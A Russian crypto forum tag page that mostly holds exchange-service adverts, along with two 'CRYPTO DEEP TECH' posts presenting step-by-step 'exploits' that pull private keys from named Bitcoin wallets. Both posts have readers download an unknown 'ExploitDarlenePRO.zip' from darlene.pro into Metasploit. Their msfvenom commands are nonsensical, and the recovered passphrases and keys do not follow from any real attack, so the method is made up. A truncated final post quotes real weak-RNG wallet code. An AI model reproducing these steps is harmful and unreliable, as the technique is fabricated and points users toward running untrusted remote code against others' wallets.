Search the Community
Showing results for tags 'Криптовалютa'.
-
Добрый день, уважаемые пользователи форума Bits Media! Мы рады представить наш обменный пункт криптовалют Exolix! ‼️✅Exolix - это безопасный и анонимный сервис крипто-обмена с фиксированными ставками, без регистрации и каких-либо лимитов Наши преимущества: -Полная анонимность -Фиксированные ставки -Без ограничений -Нет регистрации -Быстрый и простой процесс -Надежная поддержка 24/7 -Более 200 монет для обмена! Совсем недавно мы представили нашу Аффилиатную Программу, которая позволяет легко получать прибыль, постоянно увеличивая свой доход! Просто разместите нашу реферальную ссылку или баннер на форуме, в своем блоге, канале или где-либо еще или интегрируйте наш API в свою систему и получайте доход от каждого клиента, который нажимает на эту ссылку или совершает транзакцию на вашей платформе! Это так просто! Спешите получить бонус 0.005 BTC?за регистрацию, присоединяйтесь сейчас! Оставляйте свои комментарии, мнения и предложения о нашем сервисе! Мы с радостью внедрим лучшее для наших клиентов! https://exolix.com/ https://exolix.com/affiliate-program
- 6 replies
-
- Криптовалютa
- криптовалютный обменник
- (and 4 more)
-
CRYPTO DEEP TECH В этой статье мы воспользуемся классификацией распространенных шаблонов атак из ресурса кибербезопасности [CAPEC™]. В первые об “Padding Oracle Attack” на Wallet.dat заговорили в далеком 2012 году (на платформе по управления уязвимостями и анализа угроз “VulDB”). Проблема самого популярного кошелька Bitcoin Core влияет на работу AES Encryption Padding в файле Wallet.dat Технические подробности данной атаки известны: https://en.wikipedia.org/wiki/Padding_oracle_attack Процесс Padding Oracle Attack на Wallet.dat Перейдем к практической части и выполним ряд действии через эксплойт, чтобы в процессе заполнить оракул в файле Wallet.dat и в конечном итоге найти необходимый нам пароль в бинарном формате. Capture The Flag (CTF) Раннее исследователи и участники турнира CTF выложили в публичный доступ взломанный [ wallet.dat 2023 года] Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b на сумму: 44502.42 долларов США // БИТКОИН: 1.17461256 BTC https://btc1.trezor.io/address/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b Перейдем по ссылке на releases Bitcoin Core version 22.1 https://github.com/bitcoin/bitcoin/releases Index of /bin/bitcoin-core-22.1/ ../ test.rc1/ 08-Nov-2022 18:08 - test.rc2/ 28-Nov-2022 09:39 - SHA256SUMS 14-Dec-2022 17:59 2353 SHA256SUMS.asc 14-Dec-2022 17:59 10714 SHA256SUMS.ots 14-Dec-2022 17:59 538 bitcoin-22.1-aarch64-linux-gnu.tar.gz 14-Dec-2022 17:59 34264786 bitcoin-22.1-arm-linux-gnueabihf.tar.gz 14-Dec-2022 18:00 30424198 bitcoin-22.1-osx-signed.dmg 14-Dec-2022 18:00 14838454 bitcoin-22.1-osx64.tar.gz 14-Dec-2022 18:00 27930578 bitcoin-22.1-powerpc64-linux-gnu.tar.gz 14-Dec-2022 18:00 39999102 bitcoin-22.1-powerpc64le-linux-gnu.tar.gz 14-Dec-2022 18:00 38867643 bitcoin-22.1-riscv64-linux-gnu.tar.gz 14-Dec-2022 18:01 34114511 bitcoin-22.1-win64-setup.exe 14-Dec-2022 18:01 18771672 bitcoin-22.1-win64.zip 14-Dec-2022 18:01 34263968 bitcoin-22.1-x86_64-linux-gnu.tar.gz 14-Dec-2022 18:01 35964880 bitcoin-22.1.tar.gz 14-Dec-2022 18:01 8122372 bitcoin-22.1.torrent 14-Dec-2022 18:01 49857 Установить Bitcoin Core version 22.1 ОБЯЗАТЕЛЬНО! Перезагрузите программу QT // Запустите обратно Bitcoin Core Нажимаем клавиши: Ctrl + Q Проверим через команду getaddressinfo Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b getaddressinfo "address" Return information about the given bitcoin address. Some of the information will only be present if the address is in the active wallet. Запустим команду: getaddressinfo 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b Результат: { "address": "1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b", "scriptPubKey": "76a9147774801e52a110aba2d65ecc58daf0cfec95a09f88ac", "ismine": true, "solvable": true, "desc": "pkh([7774801e]02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f)#qzqmjdel", "iswatchonly": false, "isscript": false, "iswitness": false, "pubkey": "02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f", "iscompressed": true, "ischange": false, "timestamp": 1, "labels": [ "" ] } Запустим команду dumpprivkey для получения приватного ключа к Биткоин Кошельку: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b dumpprivkey "address" Reveals the private key corresponding to 'address'. Then the importprivkey can be used with this output Запустим команду: dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b Результат: Error: Please enter the wallet passphrase with walletpassphrase first. (code -13) passphrase ?!?!? passphrase ?!?!? passphrase ?!?!? Запустим Padding Oracle Attack на Wallet.dat и расшифруем пароль в бинарный формат, для этого нам понадобится установить репозитории Bitcoin Core integration/staging tree для этого вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab ) https://colab.research.google.com/drive/1rBVTPyePTMjwXganiwkHfz59vcAtN5Wt https://github.com/demining/CryptoDeepTools/tree/main/27PaddingOracleAttackonWalletdat Padding_Oracle_Attack_on_Wallet_dat.ipynb Установим Ruby в Google Colab !sudo apt install ruby-full !ruby --version Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu] !gem install bitcoin-ruby !gem install ecdsa !gem install base58 !gem install crypto !gem install config-hash -v 0.9.0 Установим Metasploit Framework и воспользуемся MSFVenom !git clone https://github.com/rapid7/metasploit-framework.git ls cd metasploit-framework/ ls Опции: !./msfvenom -help Установим Bitcoin Core integration/staging tree в Google Colab: !git clone https://github.com/bitcoin/bitcoin.git ls Перейдем по каталогу к файлу: aes.cpp для интеграции эксплойта для запуска Padding Oracle Attack на Wallet.dat cd bitcoin/src/crypto/ ls Откроем файл: aes.cpp через утилиту cat cat aes.cpp Для проведения атаки загрузим файл: wallet.dat в каталог: bitcoin/src/crypto/ !wget https://github.com/demining/CryptoDeepTools/raw/29bf95739c7b7464beaeb51803d4d2e1605ce954/27PaddingOracleAttackonWalletdat/wallet.dat ls Перейдем обратно к Metasploit Framework cd / cd content/metasploit-framework/ ls Откроем папки по каталогу: /modules/exploits/ ExploitDarlenePRO Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/ cd modules/ ls cd exploits/ !wget https://darlene.pro/repository/fe9b4545d58e43c1704b0135383e5f124f36e40cb54d29112d8ae7babadae791/ExploitDarlenePRO.zip Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip !unzip ExploitDarlenePRO.zip Перейдем по каталогу: /ExploitDarlenePRO/ ls cd ExploitDarlenePRO/ ls Для запуска эксплойта перейдем обратно к Metasploit Framework cd / cd content/metasploit-framework/ ls Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины. Запустим команды: !ip addr !hostname -I Воспользуемся инструментом для создания полезной нагрузки MSFVenom Для эксплуатации выбираем Биткоин Кошелек: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b https://btc1.trezor.io/address/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b Команда запуска: !./msfvenom 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o decode_core.rb -p bitcoin/src/crypto LHOST=172.28.0.12 -f CPP -o aes.cpp -p bitcoin/src/crypto LHOST=172.28.0.12 -f DAT -o wallet.dat Результат: 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 Полученный бинарный формат нам необходимо сохранить в файл: walletpassphrase.txt воспользуемся Python-скриптом. Команда: import hashlib Binary = "1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101" f = open("walletpassphrase.txt", 'w') f.write("walletpassphrase " + Binary + " 60" + "\n") f.write("" + "\n") f.close() Откроем файл: walletpassphrase.txt ls cat walletpassphrase.txt Результат: walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60 Пароль для доступа к приватному ключу найден! Команды: walletpassphrase 1111111001010001100010110100011010011111011101001010111001011110010111000011101101000101010100001111000000011110010001110001110001011000111101001101110010010010101001101011110100010010100011011011001010111100110100110011100100001110110101001110111011100101 60 dumpprivkey 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz Приватный Ключ Получен! pip3 install bitcoin-utils Запустим код для проверки соответствие Биткоин Адреса: Private key WIF: KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz Public key: 02ad103ef184f77ab673566956d98f78b491f3d67edc6b77b2d0dfe3e41db5872f Address: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b Hash160: 7774801e52a110aba2d65ecc58daf0cfec95a09f -------------------------------------- The message to sign: CryptoDeepTech The signature is: ILPeG1ThZ0XUXz3iPvd0Q6ObUTF7SxmnhUK2q0ImEeepcZ00npIRqMWOLEfWSJTKd1g56CsRFa/xI/fRUQVi19Q= The signature is valid! Откроем bitaddress и проверим: ADDR: 1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b WIF: KyAqkBWTbeR3w4RdzgT58R5Rp7RSL6PfdFDEkJbwjCcSaRgqg3Vz HEX: 3A32D38E814198CC8DD20B49752615A835D67041C4EC94489A61365D9B6AD330 https://www.blockchain.com/en/explorer/addresses/btc/1BtcyRUBwLv9AU1fCyyn4pkLjZ99ogdr7b BALANCE: $ 44502.42 References: [1] Practical Padding Oracle Attacks (Juliano Rizzo Thai Duong) [2010] [2] Efficient Padding Oracle Attacks on Cryptographic Hardware (Romain Bardou, Riccardo Focardi, Yusuke Kawamoto, Lorenzo Simionato, Graham Steel, Joe-Kai Tsay) [3] Security Flaws Induced by CBC Padding Applications to SSL, IPSEC, WTLS… (Serge Vaudenay) [4] Padding Oracle Attack on PKCS#1 v1.5: Can Non-standard Implementation Act as a Shelter (Si Gao, Hua Chen, and Limin Fan) [5] Attacks and Defenses (Dr. Falko Strenzke) [2020] [6] CBC padding oracle attacks [2023] [7] Fun with Padding Oracles (Justin Clarke) [OWASP London Chapter] [8] Practical Padding Oracle Attacks on RSA (Riccardo Focardi) [9] The Padding Oracle Attack (Fionn Fitzmaurice) [2018] [10] Exploiting CBC Padding Oracles Eli Sohl [2021] [11] Partitioning Oracle Attacks (Julia Len, Paul Grubbs, Thomas Ristenpart) [Cornell Tech] [12] Padding and CBC Mode (David Wagner and Bruce Schneider) [1997] [13] Padding Oracle Attacks (methodology) [14] Padding Oracle Attack (Introduction Packet Encryption Mode CTF Events) Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/0aCfT-kCRlw Источник: https://cryptodeep.ru/padding-oracle-attack-on-wallet-dat Криптоанализ
-
- Закрытыйключ
- Криптография
- (and 8 more)
-
Компания Coinex.kg начинает свою работу в сфере оптово-розничных покупок и продаж криптоактивов! Наша команда добилась возможности предложить вам самый выгодный курс обмена на рынке Кыргызстана. Обратившись к нам, вы можете приобрести и продать Tether (USDT), Bitoin (BTC), (ETH), а в качестве оплаты доступны наличные USD, KGS, RUB, а так же безналичный расчёт. В дальнейшем мы планируем добавить дополнительные валюты и множество новых продуктов, которые вас приятно удивят! Обращаясь к нам, вы всегда можете получить профессиональную поддержку по всем возникающим вопросам. А постоянных клиентов ждут бонусы и скидки. Наши особенности: Лицензированный обменный сервис с удобным офисом в центре города Бишкек (регистрационный номер: 25); Приём и выдача наличным расчётом через кассу или банковским переводом по безналу (через договор); Профессиональное и качественное обслуживание с опытом работы в сфере более 10 лет; Среднее время обмена до 10 мин Контакты для связи: Telegram: @Coinexkg Telegram–группа:@Coinex_kg WhatsApp: +996997997890 Email: admin@coinex.kg
- 77 replies
-
- USDT
- Кыргызстан
-
(and 5 more)
Tagged with:
-
Swop.is - это быстрый, безопасный и выгодный способ купить или обменять криптовалюту со множеством активных направлений Обменяй криптовалюту быстро и анонимно. Наш обменный пункт предлагает ряд преимуществ для наших клиентов, включая быструю обработку запросов, приверженность обслуживанию клиентов и круглосуточную доступность. Кроме того, наш современный дизайн упрощает навигацию и использование наших услуг. Имея многолетний опыт работы в сфере обмена криптовалютами, мы создали удобный и безопасный сервис. Мы предоставляем услуги по обмену таких валют, как: Bitcoin, Ethereum, Binance Coin, TON coin, Dogecoin, Tron, Zcash, EOS, Avalanche, Tether (USDT), BUSD, USDC, Polygon, Solana и множеству других направлений. Работаем со следующими электронными кошельками: Qiwi, Юmoney, Payeer, AdvCash, Perfect Money Банки России: Сбербанк, Тинькофф, ВТБ и другие. Банки Украины: Монобанк, Приват24, Ощадбанк и другие. Присоединяйтесь к нам и ощутите преимущества работы с надежным онлайн-обменным пунктом. Мы в социальных сетях: Вконтакте Instagram Facebook Twitter Телеграм Мы на мониторингах обменников: https://exchangesumo.com/exchanger/1089/Swop/ https://kurs.expert/ru/obmennik/swop-is/feedbacks.html https://glazok.org/exchange/?details=1171 https://www.okchanger.ru/exchangers/swop https://pro-obmen.ru/swop https://exnode.ru/exchangers/exchanger-1913580/ https://e-mon.ru/exchanger/716 https://wellcrypto.io/ru/exchangers/swop/ https://cryptobrokers.ru/swop-info/ https://bestexchangers.ru/ru/detail.html?xobmen=1087 Так же мы всегда рады ответить на интересующие вас вопросы в чате техподдержки на нашем сайте.
- 113 replies
-
- Криптовалютa
- крипта
- (and 5 more)
-
Добро пожаловать в наш криптообменник! 🌟 Почему Duck Money это ваш лучший выбор? 💱 Лучшие курсы обмена: Мы стремимся предлагать вам самые выгодные курсы обмена. ⏱ Быстрые операции: У нас нет необходимости ждать часами. Обмен средств осуществляется моментально. 🔒 Безопасность превыше всего: Мы придерживаемся строгих стандартов безопасности, чтобы ваш опыт обмена был надежным и защищенным. 💡Бонусы: У нас есть программа лояльности и бонусы для наших клиентов. 💰 Широкий выбор криптовалют: Выбирайте из множества популярных криптовалют для обмена, у нас есть всё, что вам нужно. 🖥 Простой и интуитивно понятный интерфейс: Наш веб-сайт легок в использовании, даже для новичков. 🤝 Высокий уровень обслуживания клиентов: Наша команда поддержки всегда готова помочь вам в любое время. Не упустите шанс воспользоваться всеми этими преимуществами. Обменяйтесь с нами и убедитесь сами в уникальности нашего сервиса! ✨ Контакты: 🌐Наш сайт: https://duck.money 📲Телеграмм: https://t.me/duckmoney_exchange ✉️Эл. Почта: info@duck.money
-
Приветствуем Вас, уважаемые участники форума! 😊 Хотим представить вашему вниманию новый криптовалютный обменник - Bitkit Money. Наша команда разработала современный онлайн-сервис, обеспечивающий удобные и безопасные операции обмена криптовалют на фиатные деньги и другие криптовалюты. Мы стремимся сделать Ваш обмен криптовалюты максимально удобным, безопасным и выгодным! Почему стоит выбрать Bitkit.Money? 1. Низкий порог минимальной суммы: Мы предоставляем возможность обмена даже при небольших суммах, делая процесс доступным для Всех 💸. 2. Лучшие курсы обмена: Мы постоянно мониторим рынок, чтобы предоставлять Вам самые выгодные курсы обмена криптовалют 📈. 3. Круглосуточная служба поддержки: Наши грамотные специалисты готовы ответить на Ваши вопросы и помочь в решении любых проблем 24/7 🕰️. 4. Обмен без регистрации: Мы ценим Ваше время, поэтому предлагаем удобный обмен без необходимости регистрации аккаунта ⏳. 5. Двухуровневая реферальная программа: Приглашайте друзей, и Вы получите бонусы от их обменов, участвуя в нашей реферальной программе 🤝. 6. Большие резервы: Мы обеспечиваем надежные и большие резервы для обмена, чтобы удовлетворить потребности Всех клиентов 💰. 7. Опыт в сфере обмена криптовалюты: Наша команда обладает обширным опытом в области обмена криптовалют, гарантируя качество и надежность наших услуг 👩💻. Мы постоянно расширяем направления обмена и методы оплаты, следите за новостями на нашей ветке в форуме. Присоединяйтесь к нам уже сегодня и получите максимально удобный и выгодный способ обмена криптовалютами! Контактная информация: - Сайт: Bitkit.Money - Почта: support@bitkit.money - Телеграм (кликабельно) Благодарим за проявленный интерес и с нетерпением ждем Вас среди наших клиентов. 🙌🌟
- 2 replies
-
- Обменный сервис
- обменный пункт
- (and 4 more)
-
Здравствуйте! Мы ежедневно проводим обменные операции с большим количеством электронных денег, таких как Bitcoin, Ethereum, Litecoin, Ripple, Dash, Bitcoin Cash BCH, TRON TRX , Tether TRC20 USDT и не только Предоставляем возможность обменять любую пару, если предварительно обратиться к тех. поддержке. Вы можете связаться с ней по почте info@coine-market.com или написать в Telegram (https://t.me/coinemarket_support. Поддержка оперативно и подробно ответит на любой ваш вопрос. В нашем обменнике можно обменять валюту без регистрации. Мы установили минимальные суммы обмена на самые популярные валюты: BITCOIN - 1500 рублей, TETHER – 1000 рублей. Проводим акции и розыгрыши, чтобы нашим клиентам было еще приятнее обменивать криптовалюту. Качество обменника подтверждает успешное сотрудничество с мониторингами и листингами, в том числе с exchangesumo.com Сервис обмена https://coine-market.com/?utm_source=forum.bits.media&utm_medium=affiliate Мы будем рады, если вы оставите отзыв о нашей работе и поможете сделать ее еще лучше. Отзывы на ExchangeSumo: https://exchangesumo.com/exchanger/1061/Coine-market/
- 27 replies
-
- обменник
- Криптовалютa
-
(and 4 more)
Tagged with:
-
Swaps — это полностью соответствующая и регулируемая европейская компания, имеющая операционные лицензии в Эстонии и Канаде и специализирующаяся на защите данных и безопасности платежей. Swaps поддерживает пользователей в 200 странах и предоставляет 30 криптовалют для покупки и продажи по лучшим курсам. Для покупки пользователи могу использовать 12 локальных фиатных валют в том числе EUR, USD, GBP и наиболее удобные способы оплаты (дебетовая/кредитная банковская карта, Google Pay, Apple Pay, банковский перевод). Каждый пользователь Swaps получает интуитивно понятный интерфейс, мгновенные транзакции, возвратные платежи, поддержку 24/7 и невероятные лимиты до 100 000 евро. Купить криптовалюту: https://crypto.swaps.app/buy-crypto Продать криптовалюту: https://crypto.swaps.app/sell-crypto Отдельно Swaps предоставляет флагманский продукт Receive https://crypto.swaps.app/receive-crypto с его помощью вы можете создавать ссылки для оплаты, выставлять счета и получать оплату или переводы в криптовалюте. А ваш контрагент или клиент может оплатить эту ссылку любым удобным способом. способ. Лимит перевода до 100 000 евро. Посетите сайт Swaps: https://www.swaps.app/ Давайте оставаться на связи в социальных медиа: LinkedIn — https://www.linkedin.com/company/swaps-app Facebook - https://www.facebook.com/swapapp Twitter - https://twitter.com/swapsapp_ Instagram - https://www.instagram.com/swaps.app
-
- крипто
- Криптовалютa
- (and 8 more)
-
Привет, краткий обзор проекта Versusreality.io и возможно ли такой проект? Как стать разработчиком в проекте? Как купить токен проекта? Как стать участником проекта и получить привилегии в запуске проекта? По задумкам энтузиастов проект Versus Reality io - Это проект виртуальный реальности который управление проектом и решениями изменение в проекте будет только на участниках. Путем голосование и предложении доработкой, дополнении. По сути проект будет как фильм "Первому игроку приготовиться (2018)" Так пишут разработчики. По моему мнению если будет как в фильме то тогда было бы очень круто. Стать разработчиком или участвовать разработке проекта может каждый у них на сайте есть информация можете прочитать если хотите. Так ка этот форум про криптовалюты, будем делать акцент на их токен который уже поступил в ICO. Название монеты Versus Reality Token. То что я прочиталь в их офф. сайте это монета будет основным платёжным средством в проекте. На сколько это будет реально не имею понятие. Судите сами. Участником проекта может каждый кто зарегистрировался в предпродажи токена и после запуска начал пользоваться виртуальным миром Versus Reality. Те кто участвовал предпродажные токенов будут привилегии и особые ранги после запуска проекта. (Информация из сайта проекта versusreality.io. Не мая) Прошу любить и жаловать.
- 5 replies
-
- альткойн
- Криптовалютa
-
(and 2 more)
Tagged with:
-
!git clone https://github.com/lnbits/lnbits.git ls Откроем уязвимый файл: quasar.umd.js через утилиту cat cat lnbits/lnbits/static/vendor/quasar.umd.js Откроем папки по каталогу: /modules/exploits/ ExploitDarlenePRO Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/ cd modules/ ls cd exploits/ !wget https://darlene.pro/repository/21fa0f866f9f5fd22ce045e57f22185de1877dee25ad9d3974b7167a78957680/ExploitDarlenePRO.zip Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip !unzip ExploitDarlenePRO.zip Перейдем по каталогу: /ExploitDarlenePRO/ ls cd ExploitDarlenePRO/ ls Для запуска эксплойта перейдем обратно к Metasploit Framework cd / cd content/metasploit-framework/ ls Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины. Запустим команды: !ip addr !hostname -I Воспользуемся инструментом для создания полезной нагрузки MSFVenom Для эксплуатации выбираем Биткоин Кошелек: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F https://btc1.trezor.io/address/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F Команда запуска: !./msfvenom 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p lnbits/lnbits/static/vendor LHOST=172.28.0.12 -f JS -o quasar.umd.js Результат: 111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011 Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo Команда: !echo '111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011' > binary.txt Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька: Воспользуемся кодом: binaryFile = open("binary.txt", "r") binaryFile = binaryFile.readlines() hexFile = open("hex.txt", "w+") # loop through each line of binaryFile then convert and write to hexFile for line in binaryFile: binaryCode = line.replace(" ", "") hexCode = hex(int(binaryCode, 2)) hexCode = hexCode.replace("0x", "").upper().zfill(4) hexFile.write(hexCode + "\n") # close hexFile hexFile.close() Откроем файл: hex.txt cat hex.txt 7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B Приватный Ключ Найден! Установим модуль Bitcoin !pip3 install bitcoin Запустим код для проверки соответствие Биткоин Адреса: from bitcoin import * with open("hex.txt","r") as f: content = f.readlines() # you may also want to remove whitespace characters like `\n` at the end of each line content = [x.strip() for x in content] f.close() outfile = open("privtoaddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем файл: privtoaddr.txt cat privtoaddr.txt Результат: 7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B:1qzgi39y33HrM7mHsZ6FaNspHCraJe62F Откроем bitaddress и проверим: ADDR: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F WIF: L1TWHkT6HcNVHCjsUpGecyZQqGJC5Ek98HunmRH4c3zb8V87NUiP HEX: 7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B https://www.blockchain.com/en/explorer/addresses/btc/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F BALANCE: $ 11032.77 References: [1] A Cryptoeconomic Traffic Analysis of Bitcoins Lightning Network (Ferenc Beres, Istvan A. Seres, Andras A. Benczur) [2] Flood & Loot: A Systemic Attack On The Lightning Network (Jona Harris, Aviv Zohar) [3] Short Paper: A Centrality Analysis of the Lightning Network (Philipp Zabka, Klaus-T. Foerster, Christian Decker, Stefan Schmid) [4] Congestion Attacks in Payment Channel Networks (Ayelet Mizrahi, Aviv Zohar) [5] A Deep Dive Into Lightning as a Bitcoin Scaling Solution (George Kaloudis, Teddy Oosterbaan) [6] The Lightning Network is an overlay network powered by Bitcoin smart contracts it is NOT a blockchain (George Kaloudis, Teddy Oosterbaan) [7] Lightning Network Scalability Solutions (Joseph Poon, Thaddeus Dryja) [8] The Bitcoin Lightning Network DRAFT Version 0.5 (Joseph Poon, Thaddeus Dryja) [9] CoinPool efficient off-chain payment pools for Bitcoin (Gleb Naumenko, Antoine Riard) Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/ZpflbzENAAw Источник: https://cryptodeep.ru/bitcoin-lightning-wallet-vulnerability Криптоанализ
-
- Закрытыйключ
- Криптография
- (and 8 more)
-
RBankExchange.io - мы создали интуитивно понятную платформу для обмена криптовалют, чтобы вы могли быстро и удобно менять свои цифровые активы. Надежная защита данных и оперативная поддержка пользователей - наши основные преимущества. Мы предлагаем следующие направления для обмена: - Tether ERC20 USDT - Tether TRC20 USDT - Bitcoin - Ethereum - Наличные RUB - Наличные USD - Наличные EUR - Любой банк RUB - Сбербанк RUB - Тинькофф RUB - Альфа-банк RUB - СБП RUB ... больше направлений в разработке, вы всегда можете запросить необходимое направление в поддержке Выдача наличных в следующих странах: - Грузия: Тбилиси USD - ОАЭ: Дубай AED, USD - Германия: Кёльн, Берлин EUR - Польша: Гданьск EUR, PLN Наши основные преимущества: - Современный и удобный сайт - Минимальное время ожидания после оплаты заявки - Прозрачные комиссии - Мгновенная поддержка клиентов - Возможность проконсультироваться по любому вопросу - Гибкая реферальная программа Контактная информация: - Сайт: RBankExchange.io - Telegram: @RBankExchange - E-mail: noreply.rbexchange@gmail.com - Время работы офиса в Москве: 10:00 - 22:00 - Время работы поддержки: 10:00 - 24:00
-
CRYPTO DEEP TECH Исследователи компании “Slowmist” проводят регулярное исследование сферы безопасности блокчейна Биткоин. Они обнародовали уязвимость в библиотеке Libbitcoin Explorer 3.x, который позволила злоумышленникам украсть более $ 900 000 у пользователей Биткоин Кошельков (BTC) По данным аналитиков, эта уязвимость может также затронуть пользователей Ethereum, Ripple, Dogecoin, Solana, Litecoin, Bitcoin Cash и Zcash, которые используют Libbitcoin для создания учетных записей. Исследователи дали кодовое название для данной уязвимости «Milk Sad» Было предложено использовать первые два слова первого мнемонического секрета BIP39, сгенерированного bx нулевым временем https://milksad.info/disclosure.html#codename-milk-sad Техническое описание Техническое описание CVE-2023-39910 Cлабая энтропия в Cake Wallet Uint8List randomBytes(int length, {bool secure = false}) { assert(length > 0); final random = secure ? Random.secure() : Random(); final ret = Uint8List(length); for (var i = 0; i < length; i++) { ret[i] = random.nextInt(256); } return ret; } Random::Random() { uint64_t seed = FLAG_random_seed; if (seed == 0) { Dart_EntropySource callback = Dart::entropy_source_callback(); if (callback != nullptr) { if (!callback(reinterpret_cast<uint8_t*>(&seed), sizeof(seed))) { // Callback failed. Reset the seed to 0. seed = 0; } } } if (seed == 0) { // We did not get a seed so far. As a fallback we do use the current time. seed = OS::GetCurrentTimeMicros(); } Initialize(seed); } Средства каждого кошелька, созданного с помощью браузерного расширения Trust Wallet, могли быть украдены без какого-либо вмешательства пользователя. Совсем недавно, Donjon группа исследований безопасности в Ledger обнаружил критическую уязвимость в этом расширении браузера Trust Wallet, позволяющую злоумышленнику украсть все активы любого кошелька, созданного с помощью этого расширения, без какого-либо взаимодействия с пользователем. Зная адрес учетной записи, можно немедленно вычислить ее закрытый ключ, а затем получить доступ ко всем ее средствам. Ниже приведены подробные сведения об уязвимости, о том, как Ledger Donjon обнаружил ее, ее влияние с течением времени, оценка уязвимых активов и то, как Trust Wallet отреагировал на ее исправление. Но начнем с напоминания основ. Cложно продемонстрировать, что случайные числа верны, а плохой, но не смертельно ошибочный генератор случайных чисел может легко обмануть наблюдателя. Для хорошей случайности нам нужно равномерное распределение битов и байтов (и даже всех размеров кусков) и непредсказуемость. Для наблюдателя последовательности должно быть невозможно иметь какую-либо информацию о следующей части генерируемой последовательности. Поскольку достичь этих свойств невероятно сложно, криптовалютное пространство старается максимально избегать зависимости от случайности, но на одном этапе она нам все равно понадобится: когда мы создаем новый кошелек. Вы, вероятно, уже знакомы со своей мнемоникой — от 12 до 24 английских слов, которые позволяют вам создавать резервные копии вашего кошелька (если нет, вы можете прочитать статью Ledger Academy по этой самой теме). Эта мнемоника кодирует от 16 до 32 байтов энтропии в соответствии со стандартом BIP 39. Качество этой энтропии имеет решающее значение, поскольку она будет исходным кодом всех ключей, используемых вашим кошельком во всех цепочках, после детерминированного процесса вывода, определенного стандарты BIP 32 и BIP 44 . https://milksad.info/disclosure.html#not-even-the-second-hack-mersenne-twister-use-in-trust-wallet // Copyright © 2017-2022 Trust Wallet. // [...] void random_buffer(uint8_t* buf, size_t len) { std::mt19937 rng(std::random_device{}()); std::generate_n(buf, len, [&rng]() -> uint8_t { return rng() & 0x000000ff; }); return; } Полную развернутую документацию теоретической части можно изучить в блоге: Ledger Donjon , а также в документации: Milk Sad Перейдем к практической части: (Вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab ) https://colab.research.google.com/drive/1OhspSm7GBGiqv3WfhAqU5SJ_BgXIbUh3 https://github.com/demining/CryptoDeepTools/tree/main/25MilkSadVulnerability Рассмотрим реальные примеры извлечение приватного ключа Биткоин Кошелька с помощью уязвимости в библиотеке Libbitcoin Explorer 3.x, https://btc1.trezor.io/address/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 Vulnerability_in_Libbitcoin_Explorer_3_x_library.ipynb Установим Ruby в Google 